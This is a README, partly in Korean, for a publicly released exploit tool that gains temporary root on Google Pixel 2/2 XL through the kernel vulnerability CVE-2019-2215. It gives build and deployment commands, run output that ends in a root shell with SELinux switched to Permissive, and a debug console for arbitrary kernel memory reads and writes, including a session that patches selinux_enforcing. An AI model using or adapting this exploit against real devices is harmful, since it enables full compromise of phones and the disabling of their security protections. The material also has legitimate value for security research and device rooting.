
CVE-2019-2215를 통한 Pixel 2 및 Pixel 2 XL용 Temproot
커널 메모리 읽기/쓰기 전용 권한 상승 공격을 시연하여 임시 루트 셸을 얻습니다.
이 도구는 2019년 9월 QP1A.190711.020 이미지와 커널 버전-BuildID **4.4.177-g83bee1dc48e8**을 실행하는 Google Pixel 2/Pixel 2 XL (walleye/taimen) 기기에서 작동합니다.
이 도구가 동일한 취약점에 영향을 받는 다른 기기 및/또는 커널에서 작동하려면 일부 오프셋을 찾아서 변경해야 합니다. Project Zero 버그트래커에서 언급된 대로, 이는 그리 어렵지 않습니다.
또한 커널 메모리를 조작하기 위한 헥스 에디터와 유사한 인터페이스와 셸을 생성하는 기능을 제공하는 미니 디버그 콘솔이 포함되어 있습니다.
편의를 위해 **Makefile**이 포함되어 있으며, 이는 Android NDK r19 이상의 크로스 컴파일러 툴체인과 함께 작동합니다.
# Download the Android NDK.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# Extract the NDK and set its path as $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # optional
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# Clone the `cve-2019-2215` git repository and `cd` into it.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# Compile the binary.
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
바이너리가 컴파일되면 기기로 전송하고 실행 가능하게 설정한 후 실행합니다. (일반적으로 /data/ 디렉토리에서 작동합니다.)
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
성공이 보장되지 않으며 기기가 완전히 충돌할 수도 있지만, 일반적으로 SELinux가 **Permissive**로 설정되고 루트 셸이 생성됩니다.
커널 읽기/쓰기가 달성된 후 권한 상승 루틴 대신 미니 디버그 콘솔을 시작하려면 **debug**를 유일한 명령줄 인수로 전달합니다.
debug> help
quick help
print
print kernel base address, some kernel symbol offsets,
and address of current task_struct as hexstrings
read <kaddr> <len>
read <len> bytes from <kaddr> and display as a hexdump
<kaddr> is a hexstring not prefixed with 0x
<len> is 1-4096 or 0x1-0x1000
write <kaddr> <data>
write <data> to <kaddr>
<kaddr> is a hexstring not prefixed with 0x
<data> is 1-4096 hexbytes, spaces ignored, to be written *AS-IS*
e.g. if kaddr 0xffffffffdeadbeef contains an int, and you want to set
its value to 1, enter 'write ffffffffdeadbeef <data>', where <data> is
'01000000', '0100 0000', '01 00 0 0 00', etc. (our ARM is little-endian)
shell
launch a shell (hint: did we ~somehow~ become another user? :P)
help
print this help
exit
exit debug console
권한 없는 사용자로 SELinux를 **Permissive**에서 다시 **Enforcing**으로 설정합니다.
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot for Pixel 2 and Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
launching debug console, enter 'help' for quick help
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $